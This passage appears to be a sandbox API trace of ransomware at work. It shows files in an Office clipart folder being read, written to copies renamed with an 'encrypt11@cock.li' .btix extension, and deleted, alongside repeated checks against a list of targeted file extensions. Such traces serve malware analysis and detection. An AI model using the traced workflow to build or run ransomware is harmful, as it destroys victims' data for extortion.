[0148.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.518] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.518] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.520] GetLastError () returned 0x0 [0148.520] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5516, lpOverlapped=0x0) returned 1 [0148.522] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5520, lpOverlapped=0x0) returned 1 [0148.523] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.523] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.523] SetEndOfFile (hFile=0x390) returned 1 [0148.523] CloseHandle (hObject=0x390) returned 1 [0148.523] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.523] SetEndOfFile (hFile=0x38c) returned 1 [0148.524] CloseHandle (hObject=0x38c) returned 1 [0148.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0148.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.524] lstrlenW (lpString=".doc") returned 4 [0148.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString=".docx") returned 5 [0148.525] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0148.525] lstrlenW (lpString=".pdf") returned 4 [0148.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString=".xls") returned 4 [0148.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.525] lstrlenW (lpString=".xlsx") returned 5 [0148.525] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0148.525] lstrlenW (lpString=".ppt") returned 4 [0148.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString=".zip") returned 4 [0148.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.525] lstrlenW (lpString=".rar") returned 4 [0148.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString=".bz2") returned 4 [0148.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString=".7z") returned 3 [0148.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString=".dbf") returned 4 [0148.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString=".1cd") returned 4 [0148.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString=".jpg") returned 4 [0148.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.525] lstrlenW (lpString=".doc") returned 4 [0148.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.525] lstrlenW (lpString=".docx") returned 5 [0148.526] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0148.526] lstrlenW (lpString=".pdf") returned 4 [0148.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString=".xls") returned 4 [0148.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.526] lstrlenW (lpString=".xlsx") returned 5 [0148.526] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0148.526] lstrlenW (lpString=".ppt") returned 4 [0148.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.526] lstrlenW (lpString=".zip") returned 4 [0148.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.526] lstrlenW (lpString=".rar") returned 4 [0148.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString=".bz2") returned 4 [0148.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString=".7z") returned 3 [0148.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.526] lstrlenW (lpString=".dbf") returned 4 [0148.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.526] lstrlenW (lpString=".1cd") returned 4 [0148.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0148.526] lstrlenW (lpString=".jpg") returned 4 [0148.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.526] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.526] lstrlenW (lpString="J0086428.WMF") returned 12 [0148.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.527] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=35346) returned 1 [0148.527] CloseHandle (hObject=0x38c) returned 1 [0148.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0148.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.527] GetLastError () returned 0x0 [0148.527] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0148.529] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0148.530] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.530] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.530] SetEndOfFile (hFile=0x390) returned 1 [0148.530] CloseHandle (hObject=0x390) returned 1 [0148.530] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.530] SetEndOfFile (hFile=0x38c) returned 1 [0148.531] CloseHandle (hObject=0x38c) returned 1 [0148.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0148.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString=".doc") returned 4 [0148.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString=".docx") returned 5 [0148.532] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.532] lstrlenW (lpString=".pdf") returned 4 [0148.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString=".xls") returned 4 [0148.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.532] lstrlenW (lpString=".xlsx") returned 5 [0148.532] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.532] lstrlenW (lpString=".ppt") returned 4 [0148.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString=".zip") returned 4 [0148.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.532] lstrlenW (lpString=".rar") returned 4 [0148.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString=".bz2") returned 4 [0148.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString=".7z") returned 3 [0148.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString=".dbf") returned 4 [0148.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString=".1cd") returned 4 [0148.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString=".jpg") returned 4 [0148.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.533] lstrlenW (lpString=".doc") returned 4 [0148.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString=".docx") returned 5 [0148.533] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.533] lstrlenW (lpString=".pdf") returned 4 [0148.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString=".xls") returned 4 [0148.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.533] lstrlenW (lpString=".xlsx") returned 5 [0148.533] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.533] lstrlenW (lpString=".ppt") returned 4 [0148.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.533] lstrlenW (lpString=".zip") returned 4 [0148.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.533] lstrlenW (lpString=".rar") returned 4 [0148.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString=".bz2") returned 4 [0148.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString=".7z") returned 3 [0148.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.533] lstrlenW (lpString=".dbf") returned 4 [0148.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.533] lstrlenW (lpString=".1cd") returned 4 [0148.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0148.533] lstrlenW (lpString=".jpg") returned 4 [0148.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.533] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.534] lstrlenW (lpString="J0086432.WMF") returned 12 [0148.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.534] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=33434) returned 1 [0148.534] CloseHandle (hObject=0x38c) returned 1 [0148.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0148.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.534] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.534] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.535] GetLastError () returned 0x0 [0148.535] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x829a, lpOverlapped=0x0) returned 1 [0148.536] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0148.537] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.537] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.537] SetEndOfFile (hFile=0x390) returned 1 [0148.538] CloseHandle (hObject=0x390) returned 1 [0148.538] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.538] SetEndOfFile (hFile=0x38c) returned 1 [0148.539] CloseHandle (hObject=0x38c) returned 1 [0148.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0148.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.539] lstrlenW (lpString=".doc") returned 4 [0148.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.539] lstrlenW (lpString=".docx") returned 5 [0148.539] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0148.539] lstrlenW (lpString=".pdf") returned 4 [0148.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.539] lstrlenW (lpString=".xls") returned 4 [0148.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.539] lstrlenW (lpString=".xlsx") returned 5 [0148.539] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0148.539] lstrlenW (lpString=".ppt") returned 4 [0148.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.539] lstrlenW (lpString=".zip") returned 4 [0148.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.540] lstrlenW (lpString=".rar") returned 4 [0148.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString=".bz2") returned 4 [0148.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString=".7z") returned 3 [0148.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString=".dbf") returned 4 [0148.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString=".1cd") returned 4 [0148.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString=".jpg") returned 4 [0148.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString=".doc") returned 4 [0148.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString=".docx") returned 5 [0148.540] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0148.540] lstrlenW (lpString=".pdf") returned 4 [0148.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString=".xls") returned 4 [0148.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.540] lstrlenW (lpString=".xlsx") returned 5 [0148.540] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0148.540] lstrlenW (lpString=".ppt") returned 4 [0148.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.540] lstrlenW (lpString=".zip") returned 4 [0148.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.540] lstrlenW (lpString=".rar") returned 4 [0148.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.541] lstrlenW (lpString=".bz2") returned 4 [0148.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.541] lstrlenW (lpString=".7z") returned 3 [0148.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.541] lstrlenW (lpString=".dbf") returned 4 [0148.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.541] lstrlenW (lpString=".1cd") returned 4 [0148.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0148.541] lstrlenW (lpString=".jpg") returned 4 [0148.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.541] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.541] lstrlenW (lpString="J0086478.WMF") returned 12 [0148.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.541] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=14174) returned 1 [0148.541] CloseHandle (hObject=0x38c) returned 1 [0148.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0148.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.542] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.542] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: 